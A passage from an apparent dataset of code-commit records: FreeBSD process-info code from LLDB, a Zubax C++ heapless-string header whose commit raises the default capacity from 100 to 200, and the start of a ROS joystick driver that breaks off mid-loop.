process_info.SetParentProcessID(kinfo.ki_ppid);\n process_info.SetUserID(kinfo.ki_ruid);\n process_info.SetGroupID(kinfo.ki_rgid);\n process_info.SetEffectiveUserID(kinfo.ki_svuid);\n process_info.SetEffectiveGroupID(kinfo.ki_svgid);\n\n \/\/ Make sure our info matches before we go fetch the name and cpu type\n if (match_info.Matches(process_info) &&\n GetFreeBSDProcessArgs(&match_info, process_info)) {\n GetFreeBSDProcessCPUType(process_info);\n if (match_info.Matches(process_info))\n process_infos.Append(process_info);\n }\n }\n\n return process_infos.GetSize();\n}\n\nbool Host::GetProcessInfo(lldb::pid_t pid, ProcessInstanceInfo &process_info) {\n process_info.SetProcessID(pid);\n\n if (GetFreeBSDProcessArgs(NULL, process_info)) {\n \/\/ should use libprocstat instead of going right into sysctl?\n GetFreeBSDProcessCPUType(process_info);\n GetFreeBSDProcessUserAndGroup(process_info);\n return true;\n }\n\n process_info.Clear();\n return false;\n}\n\nEnvironment Host::GetEnvironment() { return Environment(environ); }\n\nStatus Host::ShellExpandArguments(ProcessLaunchInfo &launch_info) {\n return Status(\"unimplemented\");\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016 Zubax, zubax.com\n * Distributed under the MIT License, available in the file LICENSE.\n * Author: Pavel Kirienko <pavel.kirienko@zubax.com>\n *\/\n\n\/*\n * Collection of heap-less containers and functions.\n *\/\n\n#pragma once\n\n#include <type_traits>\n#include <algorithm>\n#include <cassert>\n#include <cstdarg>\n#include <cstring>\n#include <cstdlib>\n#include <cstdint>\n#include <cstdio>\n#include <limits>\n\n\nnamespace os\n{\nnamespace heapless\n{\n\/**\n * Converts any signed or unsigned integer or boolean to string and returns it by value.\n * The argument must be of integral type, otherwise the call will be rejected by SFINAE.\n * Usage examples:\n * intToString(var)\n * intToString<16>(var)\n * intToString<2>(var).c_str()\n * It is safe to obtain a reference to the returned string and pass it to another function as an argument,\n * which enables use cases like this (this example is somewhat made up, but it conveys the idea nicely):\n * print(\"%s\", intToString(123).c_str());\n * More info on rvalue references:\n * https:\/\/herbsutter.com\/2008\/01\/01\/gotw-88-a-candidate-for-the-most-important-const\/\n * http:\/\/stackoverflow.com\/questions\/584824\/guaranteed-lifetime-of-temporary-in-c\n *\/\ntemplate <\n int Radix = 10,\n typename T,\n typename std::enable_if<std::is_integral<T>::value>::type...\n >\ninline auto intToString(T number)\n{\n constexpr char Alphabet[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\n static_assert(Radix >= 1, \"Radix must be positive\");\n static_assert(Radix <= (sizeof(Alphabet) \/ sizeof(Alphabet[0])), \"Radix is too large\");\n\n \/\/ Plus 1 to round up, see the standard for details.\n constexpr unsigned MaxChars =\n ((Radix >= 10) ? std::numeric_limits<T>::digits10 : std::numeric_limits<T>::digits) +\n 1 + (std::is_signed<T>::value ? 1 : 0);\n\n class Container\n {\n std::uint_fast16_t offset_;\n char storage_[MaxChars + 1]; \/\/ Plus 1 because of zero termination.\n\n public:\n Container(T x) :\n offset_(MaxChars) \/\/ Field initialization is not working in GCC in this context, not sure why.\n {\n storage_[offset_] = '\\0';\n\n do\n {\n assert(offset_ > 0);\n\n if (std::is_signed<T>::value) \/\/ Should be converted to constexpr if.\n {\n \/\/ We can't just do \"x = -x\", because it would break on int8_t(-128), int16_t(-32768), etc.\n auto residual = std::int_fast8_t(x % Radix);\n if (residual < 0)\n {\n \/\/ Should never happen - since C++11, neg % pos --> pos\n residual = -residual;\n }\n\n storage_[--offset_] = Alphabet[residual];\n\n \/\/ Signed integers are really tricky sometimes.\n \/\/ We must not mix negative with positive to avoid implementation-defined behaviors.\n x = (x < 0) ? -(x \/ -Radix) : (x \/ Radix);\n }\n else\n {\n \/\/ Fast branch for unsigned arguments.\n storage_[--offset_] = Alphabet[x % Radix];\n x \/= Radix;\n }\n }\n while (x != 0);\n\n if (std::is_signed<T>::value && (x < 0)) \/\/ Should be optimized with constexpr if.\n {\n assert(offset_ > 0);\n storage_[--offset_] = '-';\n }\n\n assert(offset_ < MaxChars); \/\/ Making sure there was no overflow.\n }\n\n const char* c_str() const { return &storage_[offset_]; }\n\n operator const char* () const { return this->c_str(); }\n };\n\n return Container(number);\n}\n\n\/**\n * The default capacity is optimal for most embedded use cases.\n *\/\nconstexpr unsigned DefaultStringCapacity = 100;\n\n\/**\n * Heapless string that keeps all data inside a fixed length buffer.\n * The capacity of the buffer can be specified via template arguments.\n * The interface is similar to that of std::string and other standard containers.\n *\/\ntemplate <unsigned Capacity_ = DefaultStringCapacity>\nclass String\n{\n static_assert(Capacity_ > 0, \"Capacity must be positive\");\n\n template <unsigned C>\n friend class String;\n\npublic:\n static constexpr unsigned Capacity = Capacity_;\n\nprivate:\n unsigned len_ = 0;\n char buf_[Capacity + 1] = {};\n\npublic:\n constexpr String() { }\n\n String(const char* const initializer) { append(initializer); }\n\n template <unsigned C>\n String(const String<C>& initializer) { append(initializer); }\n\n \/*\n * Formatting\n *\/\n template <typename... Args>\n auto format(Args... format_args) const\n {\n String<(DefaultStringCapacity > Capacity) ? DefaultStringCapacity : Capacity> output;\n\n using namespace std;\n const int res = snprintf(output.begin(), output.capacity(), this->c_str(), format_args...);\n if (res > 0)\n {\n output.len_ = std::min(output.capacity(), unsigned(res));\n }\n\n return output;\n }\n\n \/*\n * std::string API\n *\/\n constexpr unsigned capacity() const { return Capacity; }\n constexpr unsigned max_size() const { return Capacity; }\n\n unsigned size() const { return len_; }\n unsigned length() const { return len_; }\n\n bool empty() const { return len_ == 0; }\n\n const char* c_str() const { return &buf_[0]; }\n\n void clear() { len_ = 0; }\n\n template <unsigned C>\n void append(const String<C>& s)\n {\n append(s.c_str());\n }\n\n void append(const char* p)\n {\n while ((*p != '\\0') && (len_ < Capacity))\n {\n buf_[len_++] = *p++;\n }\n buf_[len_] = '\\0';\n assert(buf_[Capacity] == '\\0');\n }\n\n void append(char p)\n {\n if (len_ < Capacity)\n {\n buf_[len_++] = p;\n }\n buf_[len_] = '\\0';\n assert(buf_[Capacity] == '\\0');\n }\n\n template <typename T>\n typename std::enable_if<std::is_integral<T>::value>::type append(const T& value)\n {\n append(intToString(value).c_str());\n }\n\n template <typename T>\n typename std::enable_if<std::is_floating_point<T>::value>::type append(const T& value)\n {\n constexpr int Precision = std::numeric_limits<T>::digits10 + 1;\n static_assert(Precision > 1, \"Invalid floating point type?\");\n\n char buffer[20];\n\n using namespace std;\n (void) snprintf(buffer, sizeof(buffer), \"%.*g\", Precision, double(value));\n\n append(static_cast<const char*>(&buffer[0]));\n }\n\n template <typename T>\n void concatenate(const T& head)\n {\n this->append(head);\n }\n\n template <typename T, typename... Args>\n void concatenate(const T& head, Args... tail)\n {\n this->append(head);\n this->concatenate(tail...);\n }\n\n char& front() { return operator[](0); }\n const char& front() const { return operator[](0); }\n\n char& back()\n {\n if (len_ > 0)\n {\n return buf_[len_ - 1U];\n }\n else\n {\n assert(false);\n return buf_[0];\n }\n }\n const char& back() const { return const_cast<String*>(this)->back(); }\n\n template <unsigned C>\n bool compare(const String<C>& s) const\n {\n return compare(s.c_str());\n }\n\n bool compare(const char* s) const\n {\n return 0 == std::strncmp(this->c_str(), s, Capacity);\n }\n\n \/*\n * Iterators\n *\/\n const char* begin() const { return &buf_[0]; }\n const char* end() const { return &buf_[len_]; }\n\n char* begin() { return &buf_[0]; }\n char* end() { return &buf_[len_]; }\n\n \/*\n * Operators\n *\/\n template <typename T>\n String& operator=(const T& s)\n {\n clear();\n append(s);\n return *this;\n }\n\n template <typename T>\n String& operator+=(const T& s)\n {\n append(s);\n return *this;\n }\n\n char& operator[](unsigned index)\n {\n if (index < len_)\n {\n return buf_[index];\n }\n else\n {\n assert(false);\n return back();\n }\n }\n const char& operator[](unsigned index) const { return const_cast<String*>(this)->operator[](index); }\n\n template <typename T>\n bool operator==(const T& s) const { return compare(s); }\n\n \/*\n * Helpers\n *\/\n template <typename Left, typename Right>\n static auto join(const Left& left, const Right& right)\n {\n String<(DefaultStringCapacity > Capacity) ? DefaultStringCapacity : Capacity> output(left);\n output.append(right);\n return output;\n }\n\n struct Formatter\n {\n String<Capacity> format_string;\n\n Formatter(const char* format_string) : format_string(format_string) { }\n\n template <typename... Args>\n auto operator()(Args... format_args)\n {\n return format_string.format(format_args...);\n }\n };\n};\n\n\/**\n * Operators for String<>.\n * @{\n *\/\ntemplate <unsigned LeftCapacity, unsigned RightCapacity>\ninline auto operator+(const String<LeftCapacity>& left, const String<RightCapacity>& right)\n{\n return String<LeftCapacity + RightCapacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline auto operator+(const String<Capacity>& left, const char* right)\n{\n return String<Capacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline auto operator+(const char* left, const String<Capacity>& right)\n{\n return String<Capacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline bool operator==(const char* left, const String<Capacity>& right)\n{\n return right.compare(left);\n}\n\/**\n * @}\n *\/\n\n\/**\n * Converts a string literal into String<>.\n * Usage example:\n * auto len = \"Hello world!\"_heapless.length();\n *\/\ninline auto operator \"\" _heapless(const char* str, std::size_t)\n{\n return String<>(str);\n}\n\n\/**\n * Formats a string literal using heapless string.\n * Usage example:\n * auto str = \"The %s answer is %d!\"_format(\"Great\", 42);\n *\/\ninline auto operator \"\" _format(const char* str, std::size_t)\n{\n return String<>::Formatter(str);\n}\n\n\/**\n * Formats an arbitrary string and returns it as a heapless string instance.\n * Usage example:\n * conat auto str = format(\"The %s answer is %d!\", \"Great\", 42);\n *\/\ntemplate<unsigned FormatLength, typename... Args>\ninline auto format(const char (&format_string)[FormatLength], Args... format_args)\n{\n return String<FormatLength>(format_string).format(format_args...);\n}\n\n\/**\n * Like Python's print(), except that it returns the string by value as a heapless instance instead of\n * printing it.\n * Usage example:\n * auto str = concatenate(\"The Great Answer is\", 42, \"!\\n\");\n *\/\ntemplate <unsigned Capacity = DefaultStringCapacity, typename... Args>\ninline auto concatenate(Args... arguments)\n{\n String<Capacity> s;\n s.concatenate(arguments...);\n return s;\n}\n\n\/**\n * Compatibility with standard streams, nothing special here.\n *\/\ntemplate <typename Stream, unsigned Capacity>\ninline Stream& operator<<(Stream& stream, const String<Capacity>& obj)\n{\n stream << obj.c_str();\n return stream;\n}\n\n}\n}\n<commit_msg>Increased default string capacity<commit_after>\/*\n * Copyright (c) 2016 Zubax, zubax.com\n * Distributed under the MIT License, available in the file LICENSE.\n * Author: Pavel Kirienko <pavel.kirienko@zubax.com>\n *\/\n\n\/*\n * Collection of heap-less containers and functions.\n *\/\n\n#pragma once\n\n#include <type_traits>\n#include <algorithm>\n#include <cassert>\n#include <cstdarg>\n#include <cstring>\n#include <cstdlib>\n#include <cstdint>\n#include <cstdio>\n#include <limits>\n\n\nnamespace os\n{\nnamespace heapless\n{\n\/**\n * Converts any signed or unsigned integer or boolean to string and returns it by value.\n * The argument must be of integral type, otherwise the call will be rejected by SFINAE.\n * Usage examples:\n * intToString(var)\n * intToString<16>(var)\n * intToString<2>(var).c_str()\n * It is safe to obtain a reference to the returned string and pass it to another function as an argument,\n * which enables use cases like this (this example is somewhat made up, but it conveys the idea nicely):\n * print(\"%s\", intToString(123).c_str());\n * More info on rvalue references:\n * https:\/\/herbsutter.com\/2008\/01\/01\/gotw-88-a-candidate-for-the-most-important-const\/\n * http:\/\/stackoverflow.com\/questions\/584824\/guaranteed-lifetime-of-temporary-in-c\n *\/\ntemplate <\n int Radix = 10,\n typename T,\n typename std::enable_if<std::is_integral<T>::value>::type...\n >\ninline auto intToString(T number)\n{\n constexpr char Alphabet[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\n static_assert(Radix >= 1, \"Radix must be positive\");\n static_assert(Radix <= (sizeof(Alphabet) \/ sizeof(Alphabet[0])), \"Radix is too large\");\n\n \/\/ Plus 1 to round up, see the standard for details.\n constexpr unsigned MaxChars =\n ((Radix >= 10) ? std::numeric_limits<T>::digits10 : std::numeric_limits<T>::digits) +\n 1 + (std::is_signed<T>::value ? 1 : 0);\n\n class Container\n {\n std::uint_fast16_t offset_;\n char storage_[MaxChars + 1]; \/\/ Plus 1 because of zero termination.\n\n public:\n Container(T x) :\n offset_(MaxChars) \/\/ Field initialization is not working in GCC in this context, not sure why.\n {\n storage_[offset_] = '\\0';\n\n do\n {\n assert(offset_ > 0);\n\n if (std::is_signed<T>::value) \/\/ Should be converted to constexpr if.\n {\n \/\/ We can't just do \"x = -x\", because it would break on int8_t(-128), int16_t(-32768), etc.\n auto residual = std::int_fast8_t(x % Radix);\n if (residual < 0)\n {\n \/\/ Should never happen - since C++11, neg % pos --> pos\n residual = -residual;\n }\n\n storage_[--offset_] = Alphabet[residual];\n\n \/\/ Signed integers are really tricky sometimes.\n \/\/ We must not mix negative with positive to avoid implementation-defined behaviors.\n x = (x < 0) ? -(x \/ -Radix) : (x \/ Radix);\n }\n else\n {\n \/\/ Fast branch for unsigned arguments.\n storage_[--offset_] = Alphabet[x % Radix];\n x \/= Radix;\n }\n }\n while (x != 0);\n\n if (std::is_signed<T>::value && (x < 0)) \/\/ Should be optimized with constexpr if.\n {\n assert(offset_ > 0);\n storage_[--offset_] = '-';\n }\n\n assert(offset_ < MaxChars); \/\/ Making sure there was no overflow.\n }\n\n const char* c_str() const { return &storage_[offset_]; }\n\n operator const char* () const { return this->c_str(); }\n };\n\n return Container(number);\n}\n\n\/**\n * The default capacity is optimal for most embedded use cases.\n *\/\nconstexpr unsigned DefaultStringCapacity = 200;\n\n\/**\n * Heapless string that keeps all data inside a fixed length buffer.\n * The capacity of the buffer can be specified via template arguments.\n * The interface is similar to that of std::string and other standard containers.\n *\/\ntemplate <unsigned Capacity_ = DefaultStringCapacity>\nclass String\n{\n static_assert(Capacity_ > 0, \"Capacity must be positive\");\n\n template <unsigned C>\n friend class String;\n\npublic:\n static constexpr unsigned Capacity = Capacity_;\n\nprivate:\n unsigned len_ = 0;\n char buf_[Capacity + 1] = {};\n\npublic:\n constexpr String() { }\n\n String(const char* const initializer) { append(initializer); }\n\n template <unsigned C>\n String(const String<C>& initializer) { append(initializer); }\n\n \/*\n * Formatting\n *\/\n template <typename... Args>\n auto format(Args... format_args) const\n {\n String<(DefaultStringCapacity > Capacity) ? DefaultStringCapacity : Capacity> output;\n\n using namespace std;\n const int res = snprintf(output.begin(), output.capacity(), this->c_str(), format_args...);\n if (res > 0)\n {\n output.len_ = std::min(output.capacity(), unsigned(res));\n }\n\n return output;\n }\n\n \/*\n * std::string API\n *\/\n constexpr unsigned capacity() const { return Capacity; }\n constexpr unsigned max_size() const { return Capacity; }\n\n unsigned size() const { return len_; }\n unsigned length() const { return len_; }\n\n bool empty() const { return len_ == 0; }\n\n const char* c_str() const { return &buf_[0]; }\n\n void clear() { len_ = 0; }\n\n template <unsigned C>\n void append(const String<C>& s)\n {\n append(s.c_str());\n }\n\n void append(const char* p)\n {\n while ((*p != '\\0') && (len_ < Capacity))\n {\n buf_[len_++] = *p++;\n }\n buf_[len_] = '\\0';\n assert(buf_[Capacity] == '\\0');\n }\n\n void append(char p)\n {\n if (len_ < Capacity)\n {\n buf_[len_++] = p;\n }\n buf_[len_] = '\\0';\n assert(buf_[Capacity] == '\\0');\n }\n\n template <typename T>\n typename std::enable_if<std::is_integral<T>::value>::type append(const T& value)\n {\n append(intToString(value).c_str());\n }\n\n template <typename T>\n typename std::enable_if<std::is_floating_point<T>::value>::type append(const T& value)\n {\n constexpr int Precision = std::numeric_limits<T>::digits10 + 1;\n static_assert(Precision > 1, \"Invalid floating point type?\");\n\n char buffer[20];\n\n using namespace std;\n (void) snprintf(buffer, sizeof(buffer), \"%.*g\", Precision, double(value));\n\n append(static_cast<const char*>(&buffer[0]));\n }\n\n template <typename T>\n void concatenate(const T& head)\n {\n this->append(head);\n }\n\n template <typename T, typename... Args>\n void concatenate(const T& head, Args... tail)\n {\n this->append(head);\n this->concatenate(tail...);\n }\n\n char& front() { return operator[](0); }\n const char& front() const { return operator[](0); }\n\n char& back()\n {\n if (len_ > 0)\n {\n return buf_[len_ - 1U];\n }\n else\n {\n assert(false);\n return buf_[0];\n }\n }\n const char& back() const { return const_cast<String*>(this)->back(); }\n\n template <unsigned C>\n bool compare(const String<C>& s) const\n {\n return compare(s.c_str());\n }\n\n bool compare(const char* s) const\n {\n return 0 == std::strncmp(this->c_str(), s, Capacity);\n }\n\n \/*\n * Iterators\n *\/\n const char* begin() const { return &buf_[0]; }\n const char* end() const { return &buf_[len_]; }\n\n char* begin() { return &buf_[0]; }\n char* end() { return &buf_[len_]; }\n\n \/*\n * Operators\n *\/\n template <typename T>\n String& operator=(const T& s)\n {\n clear();\n append(s);\n return *this;\n }\n\n template <typename T>\n String& operator+=(const T& s)\n {\n append(s);\n return *this;\n }\n\n char& operator[](unsigned index)\n {\n if (index < len_)\n {\n return buf_[index];\n }\n else\n {\n assert(false);\n return back();\n }\n }\n const char& operator[](unsigned index) const { return const_cast<String*>(this)->operator[](index); }\n\n template <typename T>\n bool operator==(const T& s) const { return compare(s); }\n\n \/*\n * Helpers\n *\/\n template <typename Left, typename Right>\n static auto join(const Left& left, const Right& right)\n {\n String<(DefaultStringCapacity > Capacity) ? DefaultStringCapacity : Capacity> output(left);\n output.append(right);\n return output;\n }\n\n struct Formatter\n {\n String<Capacity> format_string;\n\n Formatter(const char* format_string) : format_string(format_string) { }\n\n template <typename... Args>\n auto operator()(Args... format_args)\n {\n return format_string.format(format_args...);\n }\n };\n};\n\n\/**\n * Operators for String<>.\n * @{\n *\/\ntemplate <unsigned LeftCapacity, unsigned RightCapacity>\ninline auto operator+(const String<LeftCapacity>& left, const String<RightCapacity>& right)\n{\n return String<LeftCapacity + RightCapacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline auto operator+(const String<Capacity>& left, const char* right)\n{\n return String<Capacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline auto operator+(const char* left, const String<Capacity>& right)\n{\n return String<Capacity>::join(left, right);\n}\n\ntemplate <unsigned Capacity>\ninline bool operator==(const char* left, const String<Capacity>& right)\n{\n return right.compare(left);\n}\n\/**\n * @}\n *\/\n\n\/**\n * Converts a string literal into String<>.\n * Usage example:\n * auto len = \"Hello world!\"_heapless.length();\n *\/\ninline auto operator \"\" _heapless(const char* str, std::size_t)\n{\n return String<>(str);\n}\n\n\/**\n * Formats a string literal using heapless string.\n * Usage example:\n * auto str = \"The %s answer is %d!\"_format(\"Great\", 42);\n *\/\ninline auto operator \"\" _format(const char* str, std::size_t)\n{\n return String<>::Formatter(str);\n}\n\n\/**\n * Formats an arbitrary string and returns it as a heapless string instance.\n * Usage example:\n * conat auto str = format(\"The %s answer is %d!\", \"Great\", 42);\n *\/\ntemplate<unsigned FormatLength, typename... Args>\ninline auto format(const char (&format_string)[FormatLength], Args... format_args)\n{\n return String<FormatLength>(format_string).format(format_args...);\n}\n\n\/**\n * Like Python's print(), except that it returns the string by value as a heapless instance instead of\n * printing it.\n * Usage example:\n * auto str = concatenate(\"The Great Answer is\", 42, \"!\\n\");\n *\/\ntemplate <unsigned Capacity = DefaultStringCapacity, typename... Args>\ninline auto concatenate(Args... arguments)\n{\n String<Capacity> s;\n s.concatenate(arguments...);\n return s;\n}\n\n\/**\n * Compatibility with standard streams, nothing special here.\n *\/\ntemplate <typename Stream, unsigned Capacity>\ninline Stream& operator<<(Stream& stream, const String<Capacity>& obj)\n{\n stream << obj.c_str();\n return stream;\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * teleop_pr2\n * Copyright (c) 2009, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the <ORGANIZATION> nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/\\author: Blaise Gassend\n\n#include <unistd.h>\n#include <math.h>\n#include <linux\/joystick.h>\n#include <fcntl.h>\n#include <ros\/ros.h>\n#include <diagnostic_updater\/diagnostic_updater.h>\n#include <sensor_msgs\/Joy.h>\n\n\n\/\/\/\\brief Opens, reads from and publishes joystick events\nclass Joystick\n{\nprivate:\n ros::NodeHandle nh_;\n bool open_;\n std::string joy_dev_;\n double deadzone_;\n double autorepeat_rate_; \/\/ in Hz. 0 for no repeat.\n double coalesce_interval_; \/\/ Defaults to 100 Hz rate limit.\n int event_count_;\n int pub_count_;\n ros::Publisher pub_;\n double lastDiagTime_;\n\n diagnostic_updater::Updater diagnostic_;\n\n \/\/\/\\brief Publishes diagnostics and status\n void diagnostics(diagnostic_updater::DiagnosticStatusWrapper& stat)\n {\n double now = ros::Time::now().toSec();\n double interval = now - lastDiagTime_;\n if (open_)\n stat.summary(0, \"OK\");\n else\n stat.summary(2, \"Joystick not open.\");\n\n stat.add(\"topic\", pub_.getTopic());\n stat.add(\"device\", joy_dev_);\n stat.add(\"dead zone\", deadzone_);\n stat.add(\"autorepeat rate (Hz)\", autorepeat_rate_);\n stat.add(\"coalesce interval (s)\", coalesce_interval_);\n stat.add(\"recent joystick event rate (Hz)\", event_count_ \/ interval);\n stat.add(\"recent publication rate (Hz)\", pub_count_ \/ interval);\n stat.add(\"subscribers\", pub_.getNumSubscribers());\n event_count_ = 0;\n pub_count_ = 0;\n lastDiagTime_ = now;\n }\n\npublic:\n Joystick() : nh_(), diagnostic_()\n {}\n\n \/\/\/\\brief Opens joystick port, reads from port and publishes while node is active\n int main(int argc, char **argv)\n {\n diagnostic_.add(\"Joystick Driver Status\", this, &Joystick::diagnostics);\n diagnostic_.setHardwareID(\"none\");\n\n \/\/ Parameters\n ros::NodeHandle nh_param(\"~\");\n\n std::string pub_topic;\n nh_param.param<std::string>(\"topic\", pub_topic, \"joy\");\n\n pub_ = nh_.advertise<sensor_msgs::Joy>(pub_topic, 1);\n\n nh_param.param<std::string>(\"dev\", joy_dev_, \"\/dev\/input\/js0\");\n nh_param.param<double>(\"deadzone\", deadzone_, 0.05);\n nh_param.param<double>(\"autorepeat_rate\", autorepeat_rate_, 0);\n nh_param.param<double>(\"coalesce_interval\", coalesce_interval_, 0.001);\n\n \/\/ Checks on parameters\n if (autorepeat_rate_ > 1 \/ coalesce_interval_)\n ROS_WARN(\"joy_node: autorepeat_rate (%f Hz) > 1\/coalesce_interval (%f Hz) does not make sense. Timing behavior is not well defined.\", autorepeat_rate_, 1\/coalesce_interval_);\n\n if (deadzone_ >= 1)\n {\n ROS_WARN(\"joy_node: deadzone greater than 1 was requested. The semantics of deadzone have changed. It is now related to the range [-1:1] instead of [-32767:32767]. For now I am dividing your deadzone by 32767, but this behavior is deprecated so you need to update your launch file.\");\n deadzone_ \/= 32767;\n }\n\n if (deadzone_ > 0.9)\n {\n ROS_WARN(\"joy_node: deadzone (%f) greater than 0.9, setting it to 0.9\", deadzone_);\n deadzone_ = 0.9;\n }\n\n if (deadzone_ < 0)\n {\n ROS_WARN(\"joy_node: deadzone_ (%f) less than 0, setting to 0.\", deadzone_);\n deadzone_ = 0;\n }\n\n if (autorepeat_rate_ < 0)\n {\n ROS_WARN(\"joy_node: autorepeat_rate (%f) less than 0, setting to 0.\", autorepeat_rate_);\n autorepeat_rate_ = 0;\n }\n\n if (coalesce_interval_ < 0)\n {\n ROS_WARN(\"joy_node: coalesce_interval (%f) less than 0, setting to 0.\", coalesce_interval_);\n coalesce_interval_ = 0;\n }\n\n \/\/ Parameter conversions\n double autorepeat_interval = 1 \/ autorepeat_rate_;\n double scale = -1. \/ (1. - deadzone_) \/ 32767.;\n double unscaled_deadzone = 32767. * deadzone_;\n\n js_event event;\n struct timeval tv;\n fd_set set;\n int joy_fd;\n event_count_ = 0;\n pub_count_ = 0;\n lastDiagTime_ = ros::Time::now().toSec();\n\n \/\/ Big while loop opens, publishes\n while (nh_.ok())\n {\n open_ = false;\n diagnostic_.force_update();\n bool first_fault = true;\n while (true)\n {\n ros::spinOnce();\n if (!nh_.ok())\n goto cleanup;\n joy_fd = open(joy_dev_.c_str(), O_RDONLY);\n if (joy_fd != -1)\n {\n \/\/ There seems to be a bug in the driver or something where the\n \/\/ initial events that are to define the initial state of the\n \/\/ joystick are not the values of the joystick when it was opened\n \/\/ but rather the values of the joystick when it was last closed.\n \/\/ Opening then closing and opening again is a hack to get more\n \/\/ accurate initial state data.\n close(joy_fd);\n joy_fd = open(joy_dev_.c_str(), O_RDONLY);\n }\n if (joy_fd != -1)\n break;\n if (first_fault)\n {\n ROS_ERROR(\"Couldn't open joystick %s. Will retry every second.\", joy_dev_.c_str());\n first_fault = false;\n }\n sleep(1.0);\n diagnostic_.update();\n }\n\n ROS_INFO(\"Opened joystick: %s. deadzone_: %f.\", joy_dev_.c_str(), deadzone_);\n open_ = true;\n diagnostic_.force_update();\n\n bool tv_set = false;\n bool publication_pending = false;\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n sensor_msgs::Joy joy_msg; \/\/ Here because we want to reset it on device close.\n while (nh_.ok())\n {\n ros::spinOnce();\n\n bool publish_now = false;\n bool publish_soon = false;\n FD_ZERO(&set);\n FD_SET(joy_fd, &set);\n\n \/\/ROS_INFO(\"Select...\");\n int select_out = select(joy_fd+1, &set, NULL, NULL, &tv);\n \/\/ROS_INFO(\"Tick...\");\n if (select_out == -1)\n {\n tv.tv_sec = 0;\n tv.tv_usec = 0;\n \/\/ROS_INFO(\"Select returned negative. %i\", ros::isShuttingDown());\n continue;\n \/\/\t\t\t\tbreak; \/\/ Joystick is probably closed. Not sure if this case is useful.\n }\n\n if (FD_ISSET(joy_fd, &set))\n {\n if (read(joy_fd, &event, sizeof(js_event)) == -1 && errno != EAGAIN)\n break; \/\/ Joystick is probably closed. Definitely occurs.\n\n \/\/ROS_INFO(\"Read data...\");\n joy_msg.header.stamp = ros::Time().now();\n event_count_++;\n switch(event.type)\n {\n case JS_EVENT_BUTTON:\n case JS_EVENT_BUTTON | JS_EVENT_INIT:\n if(event.number >= joy_msg.buttons.size())\n {\n int old_size = joy_msg.buttons.size();\n joy_msg.buttons.resize(event.number+1);\n for(unsigned int i=old_size;i<joy_msg.buttons.size();i++)\n joy_msg.buttons[i] = 0.0;\n }\n joy_msg.buttons[event.number] = (event.value ? 1 : 0);\n \/\/ For initial events, wait a bit before sending to try to catch\n \/\/ all the initial events.\n if (!(event.type & JS_EVENT_INIT))\n publish_now = true;\n else\n publish_soon = true;\n break;\n case JS_EVENT_AXIS:\n case JS_EVENT_AXIS | JS_EVENT_INIT:\n if(event.number >= joy_msg.axes.size())\n {\n int old_size = joy_msg.axes.size();\n joy_msg.axes.resize(event.number+1);\n for(unsigned int i=old_size;i<joy_msg.axes.size();i++)\n joy_msg.axes[i] = 0.0;\n }\n if (!(event.type & JS_EVENT_INIT)) \/\/ Init event.value is wrong.\n {\n double val = event.value;\n \/\/ Allows deadzone to be \"smooth\"\n if (val > unscaled_deadzone)\n val -= unscaled_deadzone;\n else if (val < -unscaled_deadzone)\n val += unscaled_deadzone;\n else\n val = 0;\n joy_msg.axes[event.number] = val * scale;\n }\n \/\/ Will wait a bit before sending to try to combine events.\n publish_soon = true;\n break;\n default:\n ROS_WARN(\"joy_node: Unknown event type. Please file a ticket. time=%u, value=%d, type=%Xh, number=%d\", event.time, event.value, event.type, event.number);\n break;\n }\n }\n else if (tv_set) \/\/ Assume that the timer has expired.\n publish_now = true;\n\n if (publish_now)\n {\n \/\/ Assume that all the JS_EVENT_INIT messages have arrived already.\n \/\/ This should be the case as the kernel sends them along as soon as\n \/\/ the device opens.\n \/\/ROS_INFO(\"Publish...\");\n pub_.publish(joy_msg);\n publish_now = false;\n tv_set = false;\n publication_pending = false;\n publish_soon = false;\n pub_count_++;\n }\n\n \/\/ If an axis event occurred, start a timer to combine with other\n \/\/ events.\n if (!publication_pending && publish_soon)\n {\n tv.tv_sec = trunc(coalesce_interval_);\n tv.tv_usec = (coalesce_interval_ - tv.tv_sec) * 1e6;\n publication_pending = true;\n tv_set = true;\n \/\/ROS_INFO(\"Pub pending...\");\n }\n\n \/\/ If nothing is going on, start a timer to do autorepeat.\n if (!tv_set && autorepeat_rate_ > 0)\n {\n tv.tv_sec = trunc(autorepeat_interval);\n tv.tv_usec = (autorepeat_interval - tv.tv_sec) * 1e6;\n tv_set = true;\n \/\/ROS_INFO(\"Autorepeat pending... %i %i\", tv.tv_sec, tv.tv_usec);\n }\n\n if 